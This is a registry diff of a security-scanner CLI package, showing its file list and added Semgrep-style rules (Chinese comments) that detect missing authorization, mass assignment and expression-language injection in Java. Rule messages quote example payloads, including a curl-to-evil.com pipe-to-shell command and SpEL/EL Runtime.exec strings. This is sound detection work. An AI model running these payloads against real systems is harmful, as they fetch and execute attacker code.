@zhuma4/cli 4.0.0-alpha.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +42 -0
- package/dist/commands/config.d.ts +3 -0
- package/dist/commands/config.d.ts.map +1 -0
- package/dist/commands/config.js +18 -0
- package/dist/commands/config.js.map +1 -0
- package/dist/commands/init.d.ts +3 -0
- package/dist/commands/init.d.ts.map +1 -0
- package/dist/commands/init.js +11 -0
- package/dist/commands/init.js.map +1 -0
- package/dist/commands/scan.d.ts +3 -0
- package/dist/commands/scan.d.ts.map +1 -0
- package/dist/commands/scan.js +96 -0
- package/dist/commands/scan.js.map +1 -0
- package/dist/commands/scan_appid.d.ts +20 -0
- package/dist/commands/scan_appid.d.ts.map +1 -0
- package/dist/commands/scan_appid.js +301 -0
- package/dist/commands/scan_appid.js.map +1 -0
- package/dist/commands/scan_manifest.d.ts +13 -0
- package/dist/commands/scan_manifest.d.ts.map +1 -0
- package/dist/commands/scan_manifest.js +103 -0
- package/dist/commands/scan_manifest.js.map +1 -0
- package/dist/engine/api-submit.d.ts +16 -0
- package/dist/engine/api-submit.d.ts.map +1 -0
- package/dist/engine/api-submit.js +66 -0
- package/dist/engine/api-submit.js.map +1 -0
- package/dist/engine/batch_scan.d.ts +36 -0
- package/dist/engine/batch_scan.d.ts.map +1 -0
- package/dist/engine/batch_scan.js +192 -0
- package/dist/engine/batch_scan.js.map +1 -0
- package/dist/engine/config.d.ts +12 -0
- package/dist/engine/config.d.ts.map +1 -0
- package/dist/engine/config.js +27 -0
- package/dist/engine/config.js.map +1 -0
- package/dist/engine/errors.d.ts +36 -0
- package/dist/engine/errors.d.ts.map +1 -0
- package/dist/engine/errors.js +99 -0
- package/dist/engine/errors.js.map +1 -0
- package/dist/engine/filter.d.ts +13 -0
- package/dist/engine/filter.d.ts.map +1 -0
- package/dist/engine/filter.js +64 -0
- package/dist/engine/filter.js.map +1 -0
- package/dist/engine/finding_classifier.d.ts +108 -0
- package/dist/engine/finding_classifier.d.ts.map +1 -0
- package/dist/engine/finding_classifier.js +440 -0
- package/dist/engine/finding_classifier.js.map +1 -0
- package/dist/engine/incremental/engine.d.ts +25 -0
- package/dist/engine/incremental/engine.d.ts.map +1 -0
- package/dist/engine/incremental/engine.js +337 -0
- package/dist/engine/incremental/engine.js.map +1 -0
- package/dist/engine/incremental/git-diff.d.ts +19 -0
- package/dist/engine/incremental/git-diff.d.ts.map +1 -0
- package/dist/engine/incremental/git-diff.js +175 -0
- package/dist/engine/incremental/git-diff.js.map +1 -0
- package/dist/engine/incremental/types.d.ts +33 -0
- package/dist/engine/incremental/types.d.ts.map +1 -0
- package/dist/engine/incremental/types.js +11 -0
- package/dist/engine/incremental/types.js.map +1 -0
- package/dist/engine/manifest_scanner.d.ts +48 -0
- package/dist/engine/manifest_scanner.d.ts.map +1 -0
- package/dist/engine/manifest_scanner.js +599 -0
- package/dist/engine/manifest_scanner.js.map +1 -0
- package/dist/engine/project.d.ts +22 -0
- package/dist/engine/project.d.ts.map +1 -0
- package/dist/engine/project.js +279 -0
- package/dist/engine/project.js.map +1 -0
- package/dist/engine/sarif.d.ts +13 -0
- package/dist/engine/sarif.d.ts.map +1 -0
- package/dist/engine/sarif.js +44 -0
- package/dist/engine/sarif.js.map +1 -0
- package/dist/engine/sca-integration.d.ts +36 -0
- package/dist/engine/sca-integration.d.ts.map +1 -0
- package/dist/engine/sca-integration.js +91 -0
- package/dist/engine/sca-integration.js.map +1 -0
- package/dist/engine/scanner.d.ts +18 -0
- package/dist/engine/scanner.d.ts.map +1 -0
- package/dist/engine/scanner.js +138 -0
- package/dist/engine/scanner.js.map +1 -0
- package/dist/index.d.ts +13 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +41 -0
- package/dist/index.js.map +1 -0
- package/dist/report/render.d.ts +23 -0
- package/dist/report/render.d.ts.map +1 -0
- package/dist/report/render.js +335 -0
- package/dist/report/render.js.map +1 -0
- package/package.json +41 -0
- package/rules/android/mobile-cleartext-traffic.yaml +46 -0
- package/rules/android/mobile-component-security.yaml +107 -0
- package/rules/android/mobile-crypto-weakness.yaml +139 -0
- package/rules/android/mobile-cwe-1021-tapjacking.yaml +81 -0
- package/rules/android/mobile-cwe-114-dynamic-dex-loading.yaml +41 -0
- package/rules/android/mobile-cwe-200-clipboard-data-leak.yaml +66 -0
- package/rules/android/mobile-cwe-200-debug-builds.yaml +111 -0
- package/rules/android/mobile-cwe-200-log-sensitive-data.yaml +61 -0
- package/rules/android/mobile-cwe-200-webview-debugging.yaml +56 -0
- package/rules/android/mobile-cwe-200-webview-universal-access.yaml +30 -0
- package/rules/android/mobile-cwe-200-window-flags.yaml +96 -0
- package/rules/android/mobile-cwe-22-content-provider-openfile.yaml +73 -0
- package/rules/android/mobile-cwe-22-path-traversal.yaml +86 -0
- package/rules/android/mobile-cwe-287-biometric-weakness.yaml +102 -0
- package/rules/android/mobile-cwe-295-cert-pinning-missing.yaml +78 -0
- package/rules/android/mobile-cwe-295-webview-ssl-bypass.yaml +104 -0
- package/rules/android/mobile-cwe-312-cleartext-storage.yaml +109 -0
- package/rules/android/mobile-cwe-319-cleartext-communication.yaml +84 -0
- package/rules/android/mobile-cwe-321-hardcoded-crypto-keys.yaml +132 -0
- package/rules/android/mobile-cwe-326-short-rsa.yaml +108 -0
- package/rules/android/mobile-cwe-327-rc4-3des.yaml +107 -0
- package/rules/android/mobile-cwe-329-cbc-padding-oracle.yaml +76 -0
- package/rules/android/mobile-cwe-470-reflection-injection.yaml +39 -0
- package/rules/android/mobile-cwe-489-root-detection-weak.yaml +125 -0
- package/rules/android/mobile-cwe-489-stetho-debug.yaml +107 -0
- package/rules/android/mobile-cwe-502-insecure-deserialization.yaml +76 -0
- package/rules/android/mobile-cwe-552-world-readable-files.yaml +63 -0
- package/rules/android/mobile-cwe-749-webview-java-objects.yaml +78 -0
- package/rules/android/mobile-cwe-749-webview-jsbridge.yaml +57 -0
- package/rules/android/mobile-cwe-749-webview-loadurl-injection.yaml +80 -0
- package/rules/android/mobile-cwe-78-command-injection.yaml +77 -0
- package/rules/android/mobile-cwe-780-rsa-no-oaep.yaml +80 -0
- package/rules/android/mobile-cwe-79-webview-setdata.yaml +78 -0
- package/rules/android/mobile-cwe-79-webview-xss.yaml +65 -0
- package/rules/android/mobile-cwe-798-hardcoded-credentials.yaml +108 -0
- package/rules/android/mobile-cwe-89-sql-injection.yaml +100 -0
- package/rules/android/mobile-cwe-927-implicit-intent.yaml +121 -0
- package/rules/android/mobile-cwe-927-ipc-file-provider.yaml +102 -0
- package/rules/android/mobile-cwe-939-deeplink-validation.yaml +76 -0
- package/rules/android/mobile-sdk-google-firebase-open.yaml +117 -0
- package/rules/android/mobile-sdk-tencent-tpns-config-leak.yaml +131 -0
- package/rules/android/mobile-secrets-storage.yaml +136 -0
- package/rules/android/mobile-webview-security.yaml +88 -0
- package/rules/common/cwe-200-sensitive-data-exposure.yaml +61 -0
- package/rules/common/cwe-22-path-traversal.yaml +47 -0
- package/rules/common/cwe-295-ssl-bypass.yaml +217 -0
- package/rules/common/cwe-295-ssl-verification-disabled.yaml +64 -0
- package/rules/common/cwe-306-missing-authentication.yaml +44 -0
- package/rules/common/cwe-326-weak-key-size.yaml +107 -0
- package/rules/common/cwe-327-weak-crypto.yaml +177 -0
- package/rules/common/cwe-328-weak-hash.yaml +96 -0
- package/rules/common/cwe-329-cbc-mode.yaml +26 -0
- package/rules/common/cwe-352-csrf.yaml +23 -0
- package/rules/common/cwe-434-unrestricted-file-upload.yaml +41 -0
- package/rules/common/cwe-502-insecure-deserialization.yaml +44 -0
- package/rules/common/cwe-601-url-redirect.yaml +110 -0
- package/rules/common/cwe-611-xxe.yaml +70 -0
- package/rules/common/cwe-732-incorrect-permission.yaml +49 -0
- package/rules/common/cwe-770-resource-exhaustion.yaml +44 -0
- package/rules/common/cwe-78-os-command-injection.yaml +43 -0
- package/rules/common/cwe-787-out-of-bounds-write.yaml +37 -0
- package/rules/common/cwe-79-xss.yaml +51 -0
- package/rules/common/cwe-862-missing-authorization.yaml +40 -0
- package/rules/common/cwe-89-sqli.yaml +89 -0
- package/rules/common/cwe-918-ssrf.yaml +45 -0
- package/rules/common/cwe-94-code-injection.yaml +59 -0
- package/rules/common/zm-go-cwe22-path-traversal-fs.yaml +117 -0
- package/rules/common/zm-go-cwe22-path-traversal.yaml +103 -0
- package/rules/common/zm-go-cwe307-brute-force.yaml +129 -0
- package/rules/common/zm-go-cwe326-weak-crypto.yaml +124 -0
- package/rules/common/zm-go-cwe327-weak-cipher.yaml +152 -0
- package/rules/common/zm-go-cwe384-session-fixation.yaml +128 -0
- package/rules/common/zm-go-cwe502-deserialization.yaml +120 -0
- package/rules/common/zm-go-cwe78-command-injection.yaml +95 -0
- package/rules/common/zm-go-cwe79-xss.yaml +104 -0
- package/rules/common/zm-go-cwe798-hardcoded-creds.yaml +153 -0
- package/rules/common/zm-go-cwe89-sqli.yaml +89 -0
- package/rules/common/zm-go-cwe918-ssrf.yaml +117 -0
- package/rules/common/zm-java-cwe117-log-injection.yaml +83 -0
- package/rules/common/zm-java-cwe117-logforging.yaml +153 -0
- package/rules/common/zm-java-cwe200-actuator-exposure.yaml +8 -0
- package/rules/common/zm-java-cwe200-info-disclosure.yaml +91 -0
- package/rules/common/zm-java-cwe22-file-depth.yaml +135 -0
- package/rules/common/zm-java-cwe22-path-traversal-spring.yaml +81 -0
- package/rules/common/zm-java-cwe284-missing-auth-spring.yaml +131 -0
- package/rules/common/zm-java-cwe295-webview-ssl.yaml +123 -0
- package/rules/common/zm-java-cwe327-weakcrypto.yaml +197 -0
- package/rules/common/zm-java-cwe347-jwt.yaml +30 -0
- package/rules/common/zm-java-cwe352-csrf-depth.yaml +107 -0
- package/rules/common/zm-java-cwe352-csrf-disabled.yaml +15 -0
- package/rules/common/zm-java-cwe501-trust-boundary.yaml +124 -0
- package/rules/common/zm-java-cwe502-deserial-depth.yaml +128 -0
- package/rules/common/zm-java-cwe502-fastjson.yaml +137 -0
- package/rules/common/zm-java-cwe502-gadget.yaml +158 -0
- package/rules/common/zm-java-cwe502-jndi-injection.yaml +91 -0
- package/rules/common/zm-java-cwe502-shiro.yaml +108 -0
- package/rules/common/zm-java-cwe601-url-redirect-spring.yaml +85 -0
- package/rules/common/zm-java-cwe611-xxe-enhanced.yaml +80 -0
- package/rules/common/zm-java-cwe611-xxe-transformer.yaml +85 -0
- package/rules/common/zm-java-cwe639-idor.yaml +123 -0
- package/rules/common/zm-java-cwe79-xss-depth.yaml +98 -0
- package/rules/common/zm-java-cwe862-authz-depth.yaml +127 -0
- package/rules/common/zm-java-cwe915-mass-assignment.yaml +16 -0
- package/rules/common/zm-java-cwe917-expression-injection.yaml +120 -0
- package/rules/common/zm-java-cwe918-resttemplate.yaml +67 -0
- package/rules/common/zm-java-cwe918-ssrf-depth.yaml +103 -0
- package/rules/common/zm-java-cwe918-ssrf-resttemplate.yaml +77 -0
- package/rules/common/zm-java-cwe918-webclient.yaml +44 -0
- package/rules/common/zm-java-cwe94-ognl.yaml +66 -0
- package/rules/common/zm-java-cwe94-spel-injection.yaml +85 -0
- package/rules/common/zm-java-cwe94-spel.yaml +112 -0
- package/rules/common/zm-java-cwe94-ssti.yaml +22 -0
- package/rules/common/zm-java-cwe942-cors.yaml +15 -0
- package/rules/common/zm-js-cwe1321-prototype-pollution.yaml +61 -0
- package/rules/common/zm-js-cwe200-info-disclosure.yaml +95 -0
- package/rules/common/zm-js-cwe22-path-traversal-fs.yaml +113 -0
- package/rules/common/zm-js-cwe22-pathtraversal.yaml +111 -0
- package/rules/common/zm-js-cwe307-brute-force.yaml +136 -0
- package/rules/common/zm-js-cwe345-postmessage.yaml +75 -0
- package/rules/common/zm-js-cwe347-jwt-weak.yaml +95 -0
- package/rules/common/zm-js-cwe352-csrf.yaml +52 -0
- package/rules/common/zm-js-cwe384-session-fixation.yaml +132 -0
- package/rules/common/zm-js-cwe502-deserialization.yaml +119 -0
- package/rules/common/zm-js-cwe611-xxe.yaml +108 -0
- package/rules/common/zm-js-cwe639-idor.yaml +122 -0
- package/rules/common/zm-js-cwe693-helmet-missing.yaml +46 -0
- package/rules/common/zm-js-cwe78-exec.yaml +37 -0
- package/rules/common/zm-js-cwe78-spawn.yaml +37 -0
- package/rules/common/zm-js-cwe79-domxss.yaml +84 -0
- package/rules/common/zm-js-cwe79-react-xss.yaml +18 -0
- package/rules/common/zm-js-cwe79-xss-ejs.yaml +70 -0
- package/rules/common/zm-js-cwe89-sqli.yaml +153 -0
- package/rules/common/zm-js-cwe915-mass-assignment.yaml +111 -0
- package/rules/common/zm-js-cwe918-ssrf-fetch.yaml +134 -0
- package/rules/common/zm-js-cwe918-ssrf.yaml +132 -0
- package/rules/common/zm-js-cwe94-template-injection.yaml +130 -0
- package/rules/common/zm-js-cwe942-cors.yaml +49 -0
- package/rules/common/zm-js-cwe943-nosql-injection.yaml +52 -0
- package/rules/common/zm-js-cwe95-eval.yaml +59 -0
- package/rules/common/zm-js-cwe95-function-ctor.yaml +31 -0
- package/rules/common/zm-py-cwe22-path-traversal.yaml +86 -0
- package/rules/common/zm-py-cwe327-weak-crypto.yaml +103 -0
- package/rules/common/zm-py-cwe502-pickle.yaml +92 -0
- package/rules/common/zm-py-cwe611-xxe.yaml +100 -0
- package/rules/common/zm-py-cwe78-command-injection.yaml +121 -0
- package/rules/common/zm-py-cwe79-xss.yaml +123 -0
- package/rules/common/zm-py-cwe798-hardcoded-creds.yaml +86 -0
- package/rules/common/zm-py-cwe89-sqli.yaml +59 -0
- package/rules/common/zm-py-cwe918-ssrf.yaml +123 -0
- package/rules/common/zm-py-cwe94-ssti.yaml +87 -0
- package/rules/common/zm-py-cwe943-nosql-injection.yaml +123 -0
- package/rules/iac/ansible/zm-ansible-cwe269-privilege-escalation.yaml +63 -0
- package/rules/iac/ansible/zm-ansible-cwe78-command-injection.yaml +67 -0
- package/rules/iac/ansible/zm-ansible-cwe798-hardcoded-creds.yaml +93 -0
- package/rules/iac/terraform/zm-tf-cwe200-s3-bucket-public.yaml +100 -0
- package/rules/iac/terraform/zm-tf-cwe284-sg-wide-open.yaml +88 -0
- package/rules/iac/terraform/zm-tf-cwe311-iam-wildcard.yaml +83 -0
- package/rules/iac/terraform/zm-tf-cwe319-rds-public.yaml +72 -0
- package/rules/iac/terraform/zm-tf-cwe798-hardcoded-creds.yaml +102 -0
- package/rules/iac/zm-docker-cwe250-root-user.yaml +50 -0
- package/rules/iac/zm-docker-cwe400-resource-limit.yaml +92 -0
- package/rules/iac/zm-docker-security.yaml +104 -0
- package/rules/iac/zm-k8s-cwe200-service-account.yaml +83 -0
- package/rules/iac/zm-k8s-cwe250-privileged.yaml +56 -0
- package/rules/iac/zm-k8s-security.yaml +79 -0
- package/rules/rules_index.yaml.off +477 -0
- package/rules/semgrep-registry/anonymous-ldap-bind.yaml +34 -0
- package/rules/semgrep-registry/bad-hexa-conversion.yaml +32 -0
- package/rules/semgrep-registry/blowfish-insufficient-key-size.yaml +39 -0
- package/rules/semgrep-registry/cbc-padding-oracle.yaml +38 -0
- package/rules/semgrep-registry/command-injection-formatted-runtime-call.yaml +90 -0
- package/rules/semgrep-registry/command-injection-process-builder.yaml +148 -0
- package/rules/semgrep-registry/cookie-missing-httponly.yaml +38 -0
- package/rules/semgrep-registry/cookie-missing-secure-flag.yaml +38 -0
- package/rules/semgrep-registry/crlf-injection-logs.yaml +86 -0
- package/rules/semgrep-registry/dangerous-groovy-shell.yaml +46 -0
- package/rules/semgrep-registry/el-injection.yaml +137 -0
- package/rules/semgrep-registry/formatted-sql-string.yaml +95 -0
- package/rules/semgrep-registry/http-response-splitting.yaml +44 -0
- package/rules/semgrep-registry/index.txt +1 -0
- package/rules/semgrep-registry/insecure-smtp-connection.yaml +34 -0
- package/rules/semgrep-registry/java-reverse-shell.yaml +43 -0
- package/rules/semgrep-registry/jdbc-sql-formatted-string.yaml +120 -0
- package/rules/semgrep-registry/ldap-entry-poisoning.yaml +41 -0
- package/rules/semgrep-registry/ldap-injection.yaml +82 -0
- package/rules/semgrep-registry/md5-used-as-password.yaml +44 -0
- package/rules/semgrep-registry/object-deserialization.yaml +34 -0
- package/rules/semgrep-registry/ognl-injection.yaml +839 -0
- package/rules/semgrep-registry/overly-permissive-file-permission.yaml +49 -0
- package/rules/semgrep-registry/permissive-cors.yaml +77 -0
- package/rules/semgrep-registry/script-engine-injection.yaml +66 -0
- package/rules/semgrep-registry/tainted-cmd-from-http-request.yaml +74 -0
- package/rules/semgrep-registry/tainted-env-from-http-request.yaml +46 -0
- package/rules/semgrep-registry/tainted-ldapi-from-http-request.yaml +42 -0
- package/rules/semgrep-registry/tainted-session-from-http-request.yaml +70 -0
- package/rules/semgrep-registry/tainted-xpath-from-http-request.yaml +38 -0
- package/rules/semgrep-registry/unsafe-reflection.yaml +39 -0
- package/rules/semgrep-registry/unvalidated-redirect.yaml +127 -0
- package/rules/semgrep-registry/url-rewriting.yaml +82 -0
- package/rules/semgrep-registry/weak-ssl-context.yaml +34 -0
- package/rules/semgrep-registry/xml-decoder.yaml +53 -0
- package/rules/semgrep-registry/xssrequestwrapper-is-insecure.yaml +40 -0
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
# CWE-862/863 权限控制深度覆盖: IDOR/Forced Browsing/Missing Function-Level Access
|
|
2
|
+
|
|
3
|
+
rules:
|
|
4
|
+
|
|
5
|
+
# ZM-JAVA-AUTHZ-LACKING-001: 控制器方法缺少安全注解
|
|
6
|
+
- id: zm-java-authz-lacking-001
|
|
7
|
+
severity: HIGH
|
|
8
|
+
message: |
|
|
9
|
+
Spring MVC 控制器有 @GetMapping/@PostMapping 但无 @PreAuthorize/@Secured/@RolesAllowed。
|
|
10
|
+
检查是否外部 SecurityFilterChain 统一保护,否则存在未授权访问风险。
|
|
11
|
+
languages:
|
|
12
|
+
- java
|
|
13
|
+
pattern: |
|
|
14
|
+
@$CONTROLLER
|
|
15
|
+
class $CLASS {
|
|
16
|
+
...
|
|
17
|
+
@GetMapping($PATH)
|
|
18
|
+
$TYPE $METHOD(...) {
|
|
19
|
+
...
|
|
20
|
+
}
|
|
21
|
+
...
|
|
22
|
+
}
|
|
23
|
+
pattern-not: |
|
|
24
|
+
@$CONTROLLER
|
|
25
|
+
class $CLASS {
|
|
26
|
+
...
|
|
27
|
+
@PreAuthorize($X)
|
|
28
|
+
@GetMapping($PATH)
|
|
29
|
+
$TYPE $METHOD(...) {
|
|
30
|
+
...
|
|
31
|
+
}
|
|
32
|
+
...
|
|
33
|
+
}
|
|
34
|
+
metadata:
|
|
35
|
+
cwe: "CWE-862: Missing Authorization"
|
|
36
|
+
owasp: "A01:2021 - Broken Access Control"
|
|
37
|
+
precision: low
|
|
38
|
+
tags: [authorization, spring-security, access-control]
|
|
39
|
+
references:
|
|
40
|
+
- https://docs.spring.io/spring-security/reference/servlet/authorization/method-security.html
|
|
41
|
+
|
|
42
|
+
# ZM-JAVA-IDOR-PATH-001: 路径变量直接用于数据库操作(无拥有者校验)
|
|
43
|
+
- id: zm-java-idor-path-001
|
|
44
|
+
severity: HIGH
|
|
45
|
+
message: |
|
|
46
|
+
@PathVariable 直接传入 DAO/Repository 方法 — 可能存在 IDOR。
|
|
47
|
+
校验当前用户是否有权访问该资源,或使用 UUID 替代自增 ID。
|
|
48
|
+
languages:
|
|
49
|
+
- java
|
|
50
|
+
pattern-either:
|
|
51
|
+
- pattern: |
|
|
52
|
+
@GetMapping($PATH)
|
|
53
|
+
$TYPE $METHOD(@PathVariable("id") $ID) {
|
|
54
|
+
...
|
|
55
|
+
$REPO.findById($ID);
|
|
56
|
+
...
|
|
57
|
+
}
|
|
58
|
+
- pattern: |
|
|
59
|
+
@DeleteMapping($PATH)
|
|
60
|
+
$TYPE $METHOD(@PathVariable("id") $ID) {
|
|
61
|
+
...
|
|
62
|
+
$REPO.deleteById($ID);
|
|
63
|
+
...
|
|
64
|
+
}
|
|
65
|
+
metadata:
|
|
66
|
+
cwe: "CWE-639: Authorization Bypass Through User-Controlled Key (IDOR)"
|
|
67
|
+
owasp: "A01:2021 - Broken Access Control"
|
|
68
|
+
precision: medium
|
|
69
|
+
tags: [idor, spring-data, access-control]
|
|
70
|
+
|
|
71
|
+
# ZM-JAVA-IDOR-ENTITY-001: Entity 对象直接从请求体映射后持久化
|
|
72
|
+
- id: zm-java-idor-entity-001
|
|
73
|
+
severity: HIGH
|
|
74
|
+
message: |
|
|
75
|
+
@RequestBody 直接映射为 JPA Entity 后 save — 攻击者可篡改 ID/owner 字段。
|
|
76
|
+
使用 DTO + 显式字段映射,或 @JsonIgnoreProperties 禁止客户端设置敏感字段。
|
|
77
|
+
languages:
|
|
78
|
+
- java
|
|
79
|
+
pattern-either:
|
|
80
|
+
- pattern: |
|
|
81
|
+
@PostMapping($PATH)
|
|
82
|
+
$TYPE $METHOD(@RequestBody $ENTITY $VAR) {
|
|
83
|
+
...
|
|
84
|
+
$REPO.save($VAR);
|
|
85
|
+
...
|
|
86
|
+
}
|
|
87
|
+
- pattern: |
|
|
88
|
+
$REPO.save($VAR)
|
|
89
|
+
metadata:
|
|
90
|
+
cwe: "CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes"
|
|
91
|
+
owasp: "A01:2021 - Broken Access Control"
|
|
92
|
+
precision: medium
|
|
93
|
+
tags: [mass-assignment, spring-data, idor]
|
|
94
|
+
|
|
95
|
+
# ZM-JAVA-AUTHZ-ANNOTATION-001: @PreAuthorize 表达式使用 permitAll() 在生产路由
|
|
96
|
+
- id: zm-java-authz-permit-all-001
|
|
97
|
+
severity: LOW
|
|
98
|
+
message: |
|
|
99
|
+
@PreAuthorize("permitAll()") 允许未认证用户访问 — 如果是生产环境中敏感路由,移除或改为 authenticated()。
|
|
100
|
+
languages:
|
|
101
|
+
- java
|
|
102
|
+
pattern: |
|
|
103
|
+
@PreAuthorize("permitAll()")
|
|
104
|
+
metadata:
|
|
105
|
+
cwe: "CWE-862: Missing Authorization"
|
|
106
|
+
owasp: "A01:2021 - Broken Access Control"
|
|
107
|
+
precision: very-high
|
|
108
|
+
tags: [authorization, spring-security]
|
|
109
|
+
|
|
110
|
+
# ZM-JAVA-SECURITY-CONTEXT-001: SecurityContextHolder 直接检查角色名(字符串硬编码)
|
|
111
|
+
- id: zm-java-security-ctx-001
|
|
112
|
+
severity: LOW
|
|
113
|
+
message: |
|
|
114
|
+
SecurityContextHolder.getContext().getAuthentication() 后直接字符串比较角色 —
|
|
115
|
+
推荐使用 @PreAuthorize("hasRole('ADMIN')") 注解,更声明式且不易出错。
|
|
116
|
+
languages:
|
|
117
|
+
- java
|
|
118
|
+
pattern-either:
|
|
119
|
+
- pattern: |
|
|
120
|
+
SecurityContextHolder.getContext().getAuthentication().getAuthorities()
|
|
121
|
+
- pattern: |
|
|
122
|
+
$AUTH.hasRole($ROLE)
|
|
123
|
+
metadata:
|
|
124
|
+
cwe: "CWE-862: Missing Authorization"
|
|
125
|
+
owasp: "A01:2021 - Broken Access Control"
|
|
126
|
+
precision: low
|
|
127
|
+
tags: [authorization, security-context, spring-security]
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
# CWE-915: Mass Assignment 过度绑定检测
|
|
2
|
+
rules:
|
|
3
|
+
- id: zm-java-mass-01
|
|
4
|
+
severity: WARNING
|
|
5
|
+
message: "@ModelAttribute 直接绑定到 JPA Entity,攻击者可通过请求体注入敏感字段。"
|
|
6
|
+
languages: [java]
|
|
7
|
+
pattern-either:
|
|
8
|
+
- pattern: $REPO.save($VAR)
|
|
9
|
+
metadata: { cwe: "CWE-915", precision: low, category: injection, owasp: "A08:2021" }
|
|
10
|
+
|
|
11
|
+
- id: zm-java-mass-02
|
|
12
|
+
severity: WARNING
|
|
13
|
+
message: "BeanUtils.copyProperties() 全属性复制,攻击者可覆盖敏感字段(如 role/admin)。"
|
|
14
|
+
languages: [java]
|
|
15
|
+
pattern: BeanUtils.copyProperties($SRC, $DST)
|
|
16
|
+
metadata: { cwe: "CWE-915", precision: medium, category: injection, owasp: "A08:2021" }
|
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
# CWE-917: Java OGNL/MVEL/EL 表达式注入深度检测
|
|
2
|
+
# 逐码 ZhuMa V4.1 Sprint — Java 规则库
|
|
3
|
+
# 覆盖: ExpressionEvaluator + userInput / MVEL 全量sink
|
|
4
|
+
|
|
5
|
+
rules:
|
|
6
|
+
|
|
7
|
+
# ZM-JAVA-EXPR-001: MVEL 表达式注入
|
|
8
|
+
- id: zm-java-expr-001
|
|
9
|
+
severity: ERROR
|
|
10
|
+
message: |
|
|
11
|
+
MVEL.eval() / MVEL.executeExpression() 的参数由用户输入控制,可导致任意代码执行。
|
|
12
|
+
MVEL 表达式支持方法调用、new 操作符、反射等高级特性,是完整的表达式语言。
|
|
13
|
+
|
|
14
|
+
攻击Payload示例:
|
|
15
|
+
Runtime.getRuntime().exec("curl http://evil.com/shell.sh | sh")
|
|
16
|
+
或通过反射: java.lang.Runtime.getRuntime().exec(...)
|
|
17
|
+
|
|
18
|
+
修复:
|
|
19
|
+
1. 禁止用户输入直接传入MVEL执行
|
|
20
|
+
2. 如必须动态表达式,使用严格白名单的变量+简单表达式语法
|
|
21
|
+
3. 使用 MVEL 沙箱: ParserContext + 禁用 imports
|
|
22
|
+
4. 替换为安全的模板引擎(如 Mustache)
|
|
23
|
+
languages:
|
|
24
|
+
- java
|
|
25
|
+
pattern-either:
|
|
26
|
+
- pattern: MVEL.eval($INPUT, ...)
|
|
27
|
+
- pattern: MVEL.eval($INPUT)
|
|
28
|
+
- pattern: MVEL.executeExpression($INPUT, ...)
|
|
29
|
+
- pattern: MVEL.executeExpression($EXPR, $INPUT)
|
|
30
|
+
- pattern: MVEL.compileExpression($INPUT, ...)
|
|
31
|
+
- pattern: MVEL.executeSetExpression($INPUT, ...)
|
|
32
|
+
metadata:
|
|
33
|
+
cwe: "CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement (Expression Language Injection)"
|
|
34
|
+
severity: ERROR
|
|
35
|
+
precision: high
|
|
36
|
+
category: expression-injection
|
|
37
|
+
likelihood: HIGH
|
|
38
|
+
impact: CRITICAL
|
|
39
|
+
owasp: "A03:2021 - Injection"
|
|
40
|
+
references:
|
|
41
|
+
- "https://mvel.documentnode.com/"
|
|
42
|
+
- "https://portswigger.net/web-security/server-side-template-injection"
|
|
43
|
+
|
|
44
|
+
# ZM-JAVA-EXPR-002: javax.el / Jakarta EL 表达式注入
|
|
45
|
+
- id: zm-java-expr-002
|
|
46
|
+
severity: ERROR
|
|
47
|
+
message: |
|
|
48
|
+
检测到 javax.el.ExpressionFactory / jakarta.el.ExpressionFactory 创建表达式时
|
|
49
|
+
表达式字符串由用户输入控制,可导致EL表达式注入。
|
|
50
|
+
|
|
51
|
+
EL表达式支持方法调用:
|
|
52
|
+
#{bean.getClass().forName('java.lang.Runtime').getRuntime().exec('cmd')}
|
|
53
|
+
|
|
54
|
+
修复:
|
|
55
|
+
1. 禁止用户输入直接作为EL表达式
|
|
56
|
+
2. 使用 ELProcessor.setVariable 设置只读变量
|
|
57
|
+
3. 使用 StandardELContext + 禁用的 ELResolver
|
|
58
|
+
4. 对用户输入进行严格的白名单校验(仅允许简单属性访问)
|
|
59
|
+
languages:
|
|
60
|
+
- java
|
|
61
|
+
pattern-either:
|
|
62
|
+
- pattern: |
|
|
63
|
+
$FACTORY.createValueExpression($CONTEXT, $INPUT, $CLASS)
|
|
64
|
+
- pattern: |
|
|
65
|
+
$FACTORY.createMethodExpression($CONTEXT, $INPUT, $RTYPE, $PARAMS)
|
|
66
|
+
- pattern: |
|
|
67
|
+
$PROCESSOR.eval($INPUT)
|
|
68
|
+
- pattern: |
|
|
69
|
+
$PROCESSOR.getValue($INPUT, $CLASS)
|
|
70
|
+
- pattern: |
|
|
71
|
+
$ENGINE.eval($INPUT)
|
|
72
|
+
metadata:
|
|
73
|
+
cwe: "CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement (Expression Language Injection)"
|
|
74
|
+
severity: ERROR
|
|
75
|
+
precision: high
|
|
76
|
+
category: expression-injection
|
|
77
|
+
likelihood: HIGH
|
|
78
|
+
impact: CRITICAL
|
|
79
|
+
owasp: "A03:2021 - Injection"
|
|
80
|
+
references:
|
|
81
|
+
- "https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm"
|
|
82
|
+
|
|
83
|
+
# ZM-JAVA-EXPR-003: Spring ExpressionEvaluator 用户输入评估
|
|
84
|
+
- id: zm-java-expr-003
|
|
85
|
+
severity: ERROR
|
|
86
|
+
message: |
|
|
87
|
+
检测到 Spring ExpressionParser.parseExpression() 的表达式由用户输入直接构造,
|
|
88
|
+
或 Expression.getValue() 在不可信上下文中执行。
|
|
89
|
+
|
|
90
|
+
SpEL payload 示例:
|
|
91
|
+
T(java.lang.Runtime).getRuntime().exec('calc')
|
|
92
|
+
#{T(java.lang.Runtime).getRuntime().exec('cmd')}
|
|
93
|
+
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()
|
|
94
|
+
|
|
95
|
+
修复:
|
|
96
|
+
1. 使用 SimpleEvaluationContext 替代 StandardEvaluationContext
|
|
97
|
+
2. SimpleEvaluationContext 默认禁用类型引用(T操作符)、构造器调用、方法引用
|
|
98
|
+
3. 使用 ExpressionParser 的 setVariable 方法而非拼接表达式字符串
|
|
99
|
+
4. 对用户输入做严格白名单过滤
|
|
100
|
+
languages:
|
|
101
|
+
- java
|
|
102
|
+
pattern-either:
|
|
103
|
+
